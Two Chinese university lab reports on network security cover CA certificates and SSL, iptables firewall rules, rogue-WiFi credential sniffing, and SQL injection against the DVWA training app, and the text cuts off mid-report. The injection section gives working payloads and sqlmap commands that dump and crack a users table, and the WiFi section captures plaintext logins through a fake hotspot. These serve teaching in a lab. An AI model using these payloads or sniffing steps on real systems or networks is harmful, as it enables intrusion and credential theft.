第一篇:中南大学 网络安全实验报告
CENTRAL SOUTH UNIVERSITY
网 络 安 全 实 验 报 告
学生姓名
专业班级
学 号
学 院 信息科学与工程学院 指导教师 刘嫔
实验时间 2014年12月 实验一 CA证书与SSL连接
应用场景
在访问Web 站点时,如果没有较强的安全措施,用户访问的数据是可以使用网络工具 捕获并分析出来的。在Web 站点的身份验证中,有一种基本身份验证,要求用户访问输入 用户名和密码时,是以明文形式发送密码的,蓄意破坏安全性的人可以使用协议分析程序破 译出用户名和密码。那我们该如果避免呢?可利用SSL 通信协议,在Web 服务器上启用安 全通道以实现高安全性。
SSL 协议位于TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。SSL 协 议可分为两层: SSL 记录协议(SSL Record Protocol):它建立在可靠的传输协议(如TCP)之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议(SSL Handshake Protocol):它建立在SSL 记录协议之上,用于在实际的数据传输开始前,通讯双 方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发 机构都有可供用户和管理员使用的网页。
实验目标
掌握在Windows Server 2003 下独立根CA 的安装和使用。使用WEB 方式申请证书和安装证书。建立SSL 网站。
分析SSL 网站的数据包特点。
实验拓扑
VM Client
VM Server
实验环境
虚拟机:Windows Server 2003,Windows XP,Wireshark 抓包软件。
实验过程指导
任务一:windows server 2003 环境下独立根CA 的安装及使用
1、启动Windows Server 2003 和Windows XP,配置其IP,使其在同一局域网网段。
2、在Windows Server 2003 中,选择【开始】|【控制面板】|【添加和删除程序】,在弹出窗
口中选择【添加和删除windows 组件】,在【组件】列表框中选择【证书服务】,再单击【下 一步】按钮,如下图所示。
3、在弹出的窗口中选择【独立根CA】单选按钮,单击【下一步】按钮,在弹出窗口中按 要求依次填入CA 所要求的信息,单击【下一步】按钮,如下图所示。
4、继续选择【证书数据库】、【数据库日志】和配置信息的安装、存放路径,如下图所示。
单击【下一步】按钮。安装的时候,可能会弹出如下窗口,为了实验方便,已经把I386 文 件夹复制到C:下,选择【浏览】,选择文件夹“C:I386”,点【确定】,完成安装。
5、选择【开始】|【程序】|【管理工具】,可以找到【证书颁发机构】,说明CA 的安装已经
完成,如下图所示。
6、从同一局域网中的另外一台XP 开启IE 浏览器,输入http://windows2003 的IP/certsrv/, 选中【申请一个证书】,如下图所示,在弹出的页面中选择【web 浏览器证书】。
7、在弹出窗口中填写用户的身份信息,完成后进行【提交】。此种情况下,IE 浏览器采用 默认的加密算法生成公钥对,私钥保存在本地计算机中,公钥和用户身份信息按照标准的格式发给CA 服务器,如图所示,单击【是】,进入下一步。CA 服务器响应后,弹出证书申请 成功页面,如下图所示。
8、在根CA 所在的计算机上,选择【开始】|【程序】|【管理工具】|【证书颁发机构】,上
面申请的证书便会出现在窗口右边,选择证书单击右键,选择【所有任务】|【颁发】,进行 证书颁发,如下图所示。证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹 中,表示证书颁发完成。
9、在申请证书的计算机上打开IE,输入http://windows2003 的IP/certsrv/,进入证书申请页
面,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下 图所示。选择安装此证书。
10、现在验证此CA 系统颁发的新证书是否可信,为此需要安装CA 系统的根证书,进入证书申请主页面,选择当前的CA 证书进行下载,并保存到合适路径,如下图所示。
11、下载完毕之后,在证书的保存目录中查看证书信息,单击【安装证书】按钮,进入证书 导入向导,按照默认的配置完成证书的导入,导入成功后,单击【确定】按钮,之后完成。
任务二:基于Web 的SSL 连接设置
1、在XP 中,左下角【开始】,打开【Wireshark】,并点击开始抓包的按钮。打开IE 浏览器,输入网址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包结果1。
2、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口
右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,如下图所示。
3、在弹出窗口内选择【目录安全性】标签,单击【安全通信】中的【服务器证书】按钮,如下图所示。
4、弹出【IIS 证书向导】窗口,选中【新建证书】复选项,一直单击【下一步】按钮,输入自定义的名称,如下图所示。填写相应的信息后,单击【下一步】按钮。
5、弹出【请求文件摘要】窗口,确认后单击【下一步】按钮,接着单击【完成】按钮,完 成服务器端证书配置,如下图所示。
6、打开IE 浏览器(windows2003 中的),进入证书申请主界面,如下图所示。
7、在出现的网页中选择【高级证书申请】,如图所示,在出现的网页中单击第二个选项【base64 编码】。打开刚才IIS 证书向导生成的请求文件,(默认路径C:certreq.txt),复制并粘贴文件
内容到第一个文本框,如下图所示,单击【提交】按钮,转到完成提交后的页面。
8、回到首页,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申 请,如下图所示。选择【Base 64 编码】,点击【下载证书】,【保存】certnew.cer 文件到桌面。
9、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口
右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,在弹出窗口内选择【目录安 全性】标签,选择【服务器证书】,选择【下一步】,【处理挂起的请求并安装证书】选择【下 一步】,【浏览】选择刚才保存的certnew.cer 文件,如下图所示。【下一步】【下一步】【完成】。
10、还是在【目录安全性】下,选择【安全通信】下的【编辑】,在下如图所示的弹出窗口 中选中【要求安全通道(SSL)】复选项,并在【客户端证书】栏中选中【接受客户端证书】 复选项,再单击【确定】按钮。返回【目录安全性】面板,单击【应用】按钮及【确定】按
钮,完成配置。
11、在XP 系统打开浏览器,输入服务器IP 地址,进入证书申请主页面,此时会显示错误 信息页面,要求采用https 的方式连接服务器,如图所示。
12、把http 改成https 继续访问,此时浏览器提示你要安装证书,安装完证书后,就可以正 常使用了。、再次打开Wireshark,并点击开始抓包的按钮。打开IE 浏览器,输入网址
https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓
包结果2。
14、分析比较抓包结果1 和抓包结果2 中,对IP/?id=1 请求处理的差异。
实验截图
1、写出windows server 2003 下独立根CA 的配置及应用的过程,将重要的步骤截图并保存。如上所示,重要的步骤截图已置于相应步骤下。
2、写出windows server 2003 下基于Web的SSL连接设置的过程,将重要的步骤截图并保存。如上所示,重要的步骤截图已置于相应步骤下。
实验心得
通过此次实验,我学会了Wireshark抓包的基本使用方法,学到了很多课本上没有的新知识,并对课本上的概念有了实际的更深的认识。通过Wireshark所抓到的未使用SSL 连接和使用SSL 连接的信息的对比,我对HTTPS有了一定的了解,对计算机网络通信中的数据传输安全有了大概的认识。
HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的HTTP通道,简单讲是HTTP的安全版。即HTTP下加入SSL层,HTTPS的安全基础是SSL,因此加密的详细内容就需要SSL。它是一个URI scheme(抽象标识符体系),句法类同http:体系。用于安全的HTTP数据传输。https:URL表明它使用了HTTP,但HTTPS存在不同于HTTP的默 14 认端口及一个加密/身份验证层(在HTTP与TCP之间)。这个系统的最初研发由网景公司(Netscape)进行,并内置于其浏览器Netscape Navigator中,提供了身份验证与加密通讯方法。现在它被广泛用于万维网上安全敏感的通讯,例如交易支付方面。它的主要作用可以分为两种:一种是建立一个信息安全通道,来保证数据传输的安全;另一种就是确认网站的真实性,凡是使用了 https 的网站,都可以通过点击浏览器地址栏的锁头标志来查看网站认证之后的真实信息,也可以通过 CA 机构颁发的安全签章来查询。
Wireshark所抓到的未使用SSL 连接的http 信息,信息是明文传输,而使用SSL连接的https 则具有安全性的ssl加密传输协议,更加安全。
实验二 配置和管理主机防火墙
应用场景
对于Internet 上的系统,不管是什么情况,首先我们要明确一点:网络是不安全的。因此,虽然创建一个防火墙并不能保证系统100%安全,但却是绝对必要的。和社会上其它任何事物一样,Internet 经常会受到一些无聊的或者别有用心的人的干扰,防火墙的目的就是将这类人挡在你的网络之外,同时使你仍然可以完成自己的工作。
那么构筑怎样的Linux 防火墙系统才算是足够安全呢?这是一个很难回答的问题,因为不同的应用环境对安全的要求不一样。用一句比较恰当而且简单的话来回答这个问题:用户了解自己的Linux 系统和设置,并且可以很好地保护好自己的数据和机密文件的安全,这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。
那么到底什么是防火墙呢?防火墙是一个或一组系统,它在网络之间执行访问控制策略。实现防火墙的实际方式各不相同,但是在原则上,防火墙可以被认为是这样一对机制:一种机制是拦阻传输流通行,另一种机制是允许传输流通过。一些防火墙偏重拦阻传输流的通行,而另一些防火墙则偏重允许传输流通过。了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。
一般来说,防火墙在配置上是防止来自“外部”世界未经授权的交互式登录的。这大大有助于防止破坏者登录到你网络中的计算机上。一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部,但又允许内部的用户可以自由地与外部通信。如果你切断防火墙的话,它可以保护你免受网络上任何类型的攻击。防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”,在“拦阻点”上设置安全和审计检查。与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同,防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。防火墙提供了一种重要的记录和审计功能;它们经常可以向管理员提供一些情况概要,提供有关通过防火墙的传输流的类型和数量,以及有多少次试图闯入防火墙的企图等信息。
因此本实验将介绍如何配置linux 防火墙。
VM Client
VM Server
实验目标
1.掌握linux 下基本的iptables 知识 2.学会配置iptables VM Windows VM Linux
实验环境
虚拟机:linux,windowsXP;linux 主机用户名:root;密码:root 16 实验过程指导
一.Iptables 的规则表、链结构
1.规则表(iptables管理4个不同的规则表,其功能由独立的内核模块实现)filter 表:包含三个链INPUT OUTPUT FORWARD nat表:PREROUTING POSTROTING OUTPUT mangle 表:PREROUTING POSTROUTING INPUT OUTPUT FORWARD raw 表:OUTPUT PREROUTING 2.规则链
INPUT 链当收到访问防火墙本机的数据包(入站)时,应用此链中的规则 OUTPUT链当防火墙本机向外发送数据包(出站)时,应用此链中的规则 FORWARD链收到需要通过防火墙发送给其他地址的数据包,应用此链 PREROUTING链做路由选择之前,应用此链
POSTROUTING链对数据包做路由选择之后,应用此链中的规则
二.数据包的匹配流程
1.规则表之间的优先级 raw mangle nat filter 2.规则链之间的优先级
入站数据流向:来自外界的数据包到达防火墙,首先PREROUTING规则链处理(是否被修改地址),之后会进行路由选择(判断该数据包应该发往何处),如果数据包的目标地址是防火墙本机,那么内核将其传递给INPUT 链进行处理,通过以后再交给上次的应用程序进行响应。
转发数据流向:来自外界的数据包到达防火墙后,首先被PREROUTING 规则链处理,之后进行路由选择,如果数据包的目标地址是其他外部地址,则内核将其传递给FPRWARD 链进行处理,然后再交给POSTROUTIING 规则链(是否修改数据包的地址等)进行处理。
出站数据流向:防火墙本身向外部地址发送数据包,首先被OUTPUT 规则链处理,之后进行路由选择,然后交给POSTROUTING 规则链(是否修改数据包的地址等)进行处理。3.规则链内部各防火墙规则之间的优先顺序
依次按第1条规则、第2条规则、第3条规则„„的顺序进行处理,找到一条能够匹配的数据包规则,则不再继续检查后面的规则(使用LOG记录日志的规则例外)。如果找不到匹配规则,就按照规则链的默认策略进行处理。
三.管理和设置iptables规则
Iptables 的基本语法格式选项名-A-D-I-R
功能及特点
在指定链的末尾添加(--append)一条新规则
删除(--delete)指定链中的某一条规则,按规则序号或内容确定要删除的规则 在指定链中插入一条新规则,若未指定插入位置,则默认在链的开头插入 修改、替换指定链中的一条规则,按按 17-L-F-X-P-n-v-V-h--line-numbers-N
1.查看规则表
# iptables-L INPUT--line-numbers //查看filter表中INPUT链中的所有规则,同时显示各条规则的顺序号
规则序号或内容确定要替换的规则 列出指定链中所有的规则进行查看,若未指定链名,则列出表中所有链的内容 清空指定链中的所有规则,若未指定链名,则清空表中所有链的内容 删除表中用户自定义的规则链 设置指定链的默认策略(大p)
使用数字形式显示输出结果,如显示主机的IP地址而不是主机名
查看规则列表时显示详细的信息 查看iptables命令工具的版本信息 查看命令帮助信息
查看规则列表时,同时显示规则在链中的顺序号
新建一条用户自定义的规则链
2.删除、清空规则
# iptables-F //不指定表名时,默认情况filter表
3.设置规则链的默认策略
# iptables-t filter-P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables-P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT 18
四.条件匹配
1.通用(general)条件匹配(直接使用,而不依赖于其他的条件匹配及其扩展)协议匹配(允许使用的协议名包含在/etc/protocols文件中)
# iptables-AINPUT-p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包
地址匹配
拒绝转发来自192.168.1.11主机的数据,允许转发来自192.168.0./24网段的数据 # iptables-A FORWARD-s 192.168.1.11-j REJECT
2.隐含(implicit)条件匹配(需要指定的协议匹配为前提,其对应的功能由iptables自动(隐含)的装载入内核),如果无匹配条件,默认为REJECT。
端口匹配
仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机 # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT
五.在进行了上述规则讲解与熟悉之后,接下来的步骤进行防火墙规则配置与测试
禁止Windows主机ping防火墙linux主机,但是允许从防火墙上ping其他主机(允许接受ICMP回应数据)
1.配置linux防火墙主机ip地址,如下图所示:
2.配置windows 主机ip地址,如下图所示:
3.配置linux 主机防火墙规则,如下图所示:
4.在此在windows 主机和linux 主机上进行相互ping 测试,测试结果如下图所示:
windows主机无法ping通linux防火墙主机,但是linux主机可以ping通windows主机。
实验截图
如上所示,重要的步骤截图已置于相应步骤下。
实验心得
1)如何在linux 主机上配置防火墙规则以防止DDOS 高级?
答:默认的iptables规则是无法过滤DDOS攻击数据的,我们需要添加过滤规则实现iptables拥有抗DDOS的能力:
屏蔽 SYN_RECV 的连接
-A FORWARD-p tcp-m tcp--tcp-flags FIN,SYN,RST,ACK SYN-m limit--limit 1/sec-j ACCEPT 限制IP碎片,每秒钟只允许100个碎片,用来防止DoS攻击-A FORWARD-f-m limit--limit 100/sec--limit-burst 100-j ACCEPT 限制ping包每秒一个,10个后重新开始
-A FORWARD-p icmp-m limit--limit 1/sec--limit-burst 10-j ACCEPT 限制ICMP包回应请求每秒一个
-A FORWARD-p icmp-m icmp--icmp-type 8-m limit--limit 1/sec-j ACCEPT 此处自定义一个表
-A FORWARD-j RH-Firewall-1-INPUT 完全接受 loopback interface 的封包-A RH-Firewall-1-INPUT-i lo-j ACCEPT 允许主机接受 ping-A RH-Firewall-1-INPUT-p icmp-m icmp--icmp-type any-j ACCEPT 允许连线出去后对方主机回应进来的封包
22-A RH-Firewall-1-INPUT-m state--state RELATED,ESTABLISHED-j ACCEPT 允许防火墙开启指定端口
-A RH-Firewall-1-INPUT-p tcp-m state--state NEW-m tcp--dport port-j ACCEPT 限制SSH登陆
只允许在***.***.***.***上使用ssh远程登录,从其它计算机上禁止使用ssh iptables-A INPUT-s ***.***.***.***-p tcp--dport 22-j ACCEPT iptables-A INPUT-p tcp--dport 22-j DROP
2)linux 主机防火墙处理数据包的顺序是什么?
答:(1)当包到达端口时,对包报头进行语法分析。大多数包过滤设备只检查IP、TCP、或UDP报头中的字段。
(2)若一条规则阻止包传输或接收,则此包便不被允许。
(3)若一条规则允许包传输或接收,则此包便可以被继续处理。(4)若包不满足任何一条规则,则此包便被阻塞。
实验三WIFI 钓鱼
步骤一 共享WIFI 工具:电脑、WIN7 系统、无线网卡
步骤
1.开始菜单-->命令提示符(cmd)-->右键,以管理员身份运行 2.运行以下命令启用虚拟网卡
>netsh wlan set hostednetwork mode=allow ssid=(这里写无线网名字)key=(这里是密码)
3.网络共享中心-->更改高级适配器设置-->右键已连接到Internet 的网络连接-->属性-->切换 到“共享”选项卡,选中其中的复选框,并选择允许其共享Internet 的网络连接,这里即我 们的虚拟WIFI 网卡
4.开启无线网络,继续在命令提示符中运行以下命令: >netsh wlan start hostednetwork 24 即可开启我们之前设置好的无线网络(相当于打开路由器的无线功能)
步骤二 WIFI 钓鱼
工具:其他笔记本或手机、Wareshark 步骤
1.搜索到刚刚设置的WIFI,连接上(密码为刚刚设置的key:12345679)
2.在笔记本上打开wareshark,选择capture-->interfaces 3.选择Packets 最多的项,点击start 按钮
4.在手机或笔记本上打开中南大学邮箱网站:http://mail.csu.edu.cn/,在主机上用wareshark 捕捉
http 的包
(这里大家可以自由实验,能监控到连接到该WIFI 的机器的所有包的情况)5.在手机或笔记本上输入用户名和密码,点击登录
6.在主机上用wareshark 捕捉到刚刚post 提交的http 包,右键选择Follow tcp stream
7.可以看到刚刚提交的用户名和密码,且是未经过加密的
实验截图
如上所示,重要的步骤截图已置于相应步骤下。
实验心得
本次实验是在自己的笔记本上做的,实验也比较简单,所以做得比较快效果比较好。通过本次实验,大致了解了WIFI钓鱼的操作过程,同时,也让自己有了警觉之心,要养成良好的WIFI使用习惯。手机会把使用过的WIFI热点都记录下来,如果WiFi开关处于打开状态,手机就会不断向周边进行搜寻,一旦遇到同名的热点就会自动进行连接,存在被钓鱼风险。因此当我们进入公共区域后,尽量不要打开WIFI开关,或者把WiFi调成锁屏后不再自动连接,避免在自己不知道的情况下连接上恶意WIFI。
实验四 SQL注入攻击
【实验目的】
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
本次实验目的是了解sql注入的常见手段,要到两个工具:
①dvwa(Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
② sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
【实验组网拓扑】
VM Client
VM Server
【实验一:dvwa手动sql注入】
1、连接好虚拟机拓扑图,配置WindowsXP Client和Windows XP Server的IP使其在同一个局域网网段。
2、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“192.168.1.32/dvwa”,登陆账户为admin,密码为password。
3、选择SQLInjection,点击右下角的ViewSource,查看PHP源代码。
4、正常测试,输入“1”,得到正常结果,如下所示。
5、当将输入变为“'”时,页面提示错误“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,结果如图。看到这个结果,可以知道,这个表单存在着注入漏洞。
6、尝试输入:“1’or 1=1–”注意“--”后面有空格!此时成功进行sql注入。
7、测试查询信息列数。利用语句order by num。这里输入“ 1'order by 1--” 结果页面正常显示,注意--后面有空格。继续测试,“ 1'order by 2--”,“ 1'order by 3--”,当输入3是,页面报错。页面错误信息如下,Unknown column '3' in 'order clause',由此查询结果值为2列。
8、尝试注入“1' and 1=2 union select 1,2--”,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:“1' and 1=2 union select user(),database()--”。
9、选择DVWA Security,将安全级别分别设置为中、高。再运行上面的实验sql语句,结合右下角的ViewSource,分析三种等级的代码和sql注入效果有何区别。在安全级别分别设置为低时,结合PHP源代码,考虑不采用“--”的情形下,完成sql注入,写出sql注入语句。
【实验二:sqlmap测试dvwa】
1、打开Server端的xampp,启动apache和mysql。打开Client的浏览器,访问Server的IP/dvwa,如“169.254.180.158/dvwa”,登陆账户为admin,密码为password。选择DVWA Security,将安全级别分别设置为低。
2、选择XSS reflected,输入“
3、使用sqlmap查找注入点,打开Client端的控制台窗口,转到目录“C:Python27sqlmap”,输入以下命令,注意!“169.254.180.158”表示Server的IP,“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”表示上一步所获得的cookie值,请同学们按照实际环境 33 填写相应的值!“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5””。
依据以下信息,得到可能的注入点是id,数据库是mysql。
[INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable
4、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db”得到当前数据库名。
current database: 'dvwa'
5、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db--tables-Ddvwa”得到数据库所有表。
6、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--columns”得到user表的所有列。
7、输入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--dump”得到user表的所有列,在sqlmap询问时候破解密码时,选择是,sqlmap会使用自己的字典来破解密码,得到5个用户的密码。此时就完成了利用sqlmap进行“拖库”的基本步骤。
实验截图
如上所示,重要的步骤截图已置于相应步骤下。
实验心得
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
此次的实验让我了解了SQL注入攻击的原理和过程,让我了解到了做这方面开发的时候需要注意的安全性问题,也意识到安全的重要性和数据库的一些欠缺,提高了自己在这方面的安全意识。在实验的过程中遇到了很多困难,配置上的,环境上的,还有一些需要注意的小问题。很高兴顺利完成了这次实验,期待下次能使用更高级的工具进行扫描和实施攻击,当然,以后的开发过程中也要特别注意这些脆弱点了。
第二篇:中南大学网络安全实验报告
学生姓名指导教师学 院专业班级学 号完成时间中南大学
网络安全 实验报告
代巍 张士庚 信息科学与工程学院 信安1201班 0909121615 年12月15日
2014
目录
实验一 CA证书与SSL连接 实验二 WIFI钓鱼 实验三 SQL注入攻击
实验四 配置和管理主机防火墙
实验一 CA证书与SSL连接
一.实验目的
通过申请、安装数字证书,掌握使用SSL建立安全通信通道的方法。掌握在Windows Server 2003 下独立根CA 的安装和使用。使用WEB 方式申请证书和安装证书。建立SSL 网站。
分析SSL 网站的数据包特点。二.实验原理
SSL协议的工作原理、数字证书的原理
在访问Web 站点时,如果没有较强的安全措施,用户访问的数据是可以使用网络工具 捕获并分析出来的。在Web 站点的身份验证中,有一种基本身份验证,要求用户访问输入
用户名和密码时,是以明文形式发送密码的,蓄意破坏安全性的人可以使用协议分析程序破
译出用户名和密码。那我们该如果避免呢?可利用SSL 通信协议,在Web 服务器上启用安
全通道以实现高安全性。
SSL 协议位于TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。SSL 协 议可分为两层: SSL 记录协议(SSL Record Protocol):它建立在可靠的传输协议(如TCP)
之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议(SSL Handshake Protocol):它建立在SSL 记录协议之上,用于在实际的数据传输开始前,通讯双
方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发
机构都有可供用户和管理员使用的网页。三.实验环境
虚拟机:Windows Server 2003,Windows XP,Wireshark 抓包软件。四.实验过程
任务一:windows server 2003 环境下独立根CA 的安装及使用
1、windows server 2003 环境下独立根CA 的安装及使用,启动Windows Server 2003 和Windows XP,配臵其IP,使其在同一局域网网段。在Windows Server 2003 中,选择【开始】|【控制面板】|【添加和删除程序】,在弹出窗口中选择【添加和删除windows 组件】,在【组件】列表框中选择【证书服务】,再单击【下一步】按钮,如下图所示。
2、在弹出的窗口中选择【独立根CA】单选按钮,单击【下一步】按钮,在弹出窗口中按要求依次填入CA 所要求的信息,单击【下一步】按钮,如下图所示。
3、继续选择【证书数据库】、【数据库日志】和配臵信息的安装、存放路径,如下图所示,单击【下一步】按钮。安装的时候,可能会弹出如下窗口,为了实验方便,已经把I386 文件夹复制到C:下,选择【浏览】,选择文件夹“C:I386”,点【确定】,完成安装。
4、选择【开始】|【程序】|【管理工具】,可以找到【证书颁发机构】,说明CA 的安装已经完成,如下图所示。
5、从同一局域网中的另外一台XP 开启IE 浏览器,输入http://windows2003 的IP/certsrv/,选中【申请一个证书】,如下图所示,在弹出的页面中选择【web 浏览器证书】。
6、在弹出窗口中填写用户的身份信息,完成后进行【提交】。此种情况下,IE 浏览器采用
默认的加密算法生成公钥对,私钥保存在本地计算机中,公钥和用户身份信息按照标准的格式发给CA 服务器,如图所示,单击【是】,进入下一步。CA 服务器响应后,弹出证书申请成功页面,如下图所示。
7、在根CA 所在的计算机上,选择【开始】|【程序】|【管理工具】|【证书颁发机构】,上面申请的证书便会出现在窗口右边,选择证书单击右键,选择【所有任务】|【颁发】,进行证书颁发,如下图所示。证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹中,表示证书颁发完成。
8、在申请证书的计算机上打开IE,输入http://windows2003 的IP/certsrv/,进入证书申请页面,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下图所示。选择安装此证书。
9、现在验证此CA 系统颁发的新证书是否可信,为此需要安装CA 系统的根证书,进入证书申请主页面,选择当前的CA 证书进行下载,并保存到合适路径,如下图所示。
10、下载完毕之后,在证书的保存目录中查看证书信息,单击【安装证书】按钮,进入证书导入向导,按照默认的配臵完成证书的导入,导入成功后,单击【确定】按钮,之后完成。
任务二:基于Web的SSL连接设臵
1、在XP 中,左下角【开始】,打开【Wireshark】,并点击开始抓包的按钮。打开IE 浏览器,输入网址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包结果1。
2、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项。
3、在弹出窗口内选择【目录安全性】标签,单击【安全通信】中的【服务器证书】按钮,如下图所示。
4、弹出【IIS 证书向导】窗口,选中【新建证书】复选项,一直单击【下一步】按钮,输入自定义的名称,如下图所示。填写相应的信息后,单击【下一步】按钮。
5、弹出【请求文件摘要】窗口,确认后单击【下一步】按钮,接着单击【完成】按钮,完成服务器端证书配臵,如下图所示
6、打开IE 浏览器(windows2003 中的),进入证书申请主界面,如下图所示。
7、在出现的网页中选择【高级证书申请】,如图所示,在出现的网页中单击第二个选项【base64编码】。打开刚才IIS 证书向导生成的请求文件,(默认路径C:certreq.txt),复制并粘贴文件内容到第一个文本框,如下图所示,单击【提交】按钮,转到完成提交后的页面。
8、回到首页,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下图所示。选择【Base 64 编码】,点击【下载证书】,【保存】certnew.cer 文件到桌面。
9、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,在弹出窗口内选择【目录安全性】标签,选择【服务器证书】,选择【下一步】,【处理挂起的请求并安装证书】选择【下一步】,【浏览】选择刚才保存的certnew.cer 文件,如下图所示。【下一步】【下一步】【完成】。
10、还是在【目录安全性】下,选择【安全通信】下的【编辑】,在下如图所示的弹出窗口中选中【要求安全通道(SSL)】复选项,并在【客户端证书】栏中选中【接受客户端证书】复选项,再单击【确定】按钮。返回【目录安全性】面板,单击【应用】按钮及【确定】按钮,完成配臵。
11、在XP 系统打开浏览器,输入服务器IP 地址,进入证书申请主页面,此时会显示错误信息页面,要求采用https 的方式连接服务器,如图所示。
12、把http 改成https 继续访问,此时浏览器提示你要安装证书,安装完证书后,就可以正常使用了。、再次打开Wireshark,并点击开始抓包的按钮。打开IE 浏览器,输入网址https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓包结果2。
14、分析比较抓包结果1 和抓包结果2 中,对IP/?id=1 请求处理的差异。
五、实验感想
至此,我完成了整个数字证书的安装和使用实验。通过本次实验我学会了SSL协议的工作原理,同时了解到了CA证书的颁发机制。
任何一个安全性系统整体性设计,都离不开数字证书的加密,可以想象加密机制对信息安全的重要性。
需要说明的是,尽管SSL能提供实际不可破译的加密功能,但是SSL安全机制的实现会大大增加系统的开销,增加了服务器CPU的额外负担,使得SSL加密传输的速度大大低于非加密传输的速度。因此,为了防止整个Web网站的性能下降,可以考虑只把SSL安全机制用来处理高度机密的信息,例如提交包含信用卡信息的表格。
实验二 WIFI钓鱼
一.实验目的
1、通过实际测试,模拟入侵者利用wifi抓包来窃取用户数据的过程。掌握整个过程中的原理,数据分析等。
2、掌握抓包软件的使用。二.实验原理
在一个可控的网络环境里,劫持数据有很多方法。比较有名的网络层抓包工具有wireshark,tcpdump,都是很好的网络协议分析工具。我们现在手机上的大多数APP应用层都是使用的HTTP协议,因此我们很多的在web安全测试里面用到的分析工具如fiddler,burp,httpanalyzer,Charles等也都是可以用来分析或者劫持APP的通信流。
用户手机里的app默认会进行很多敏感的请求,手机会自动去登陆和获取最新的信号;如果手机默认会链接周围已经被保存sid的wifi;通过内臵最常见的sid和信息,入侵者可以使得周围的人会自动链接上入侵者假设好的wifi,通过抓取相应的数据取得里面的敏感信息,理论上是可以劫持用户的相关密码信息的。三.实验环境
带有无线网卡的笔记本电脑,Wireshark 抓包软件,智能手机。四.实验过程 步骤一共享WIFI 工具:电脑、WIN7 系统、无线网卡 步骤
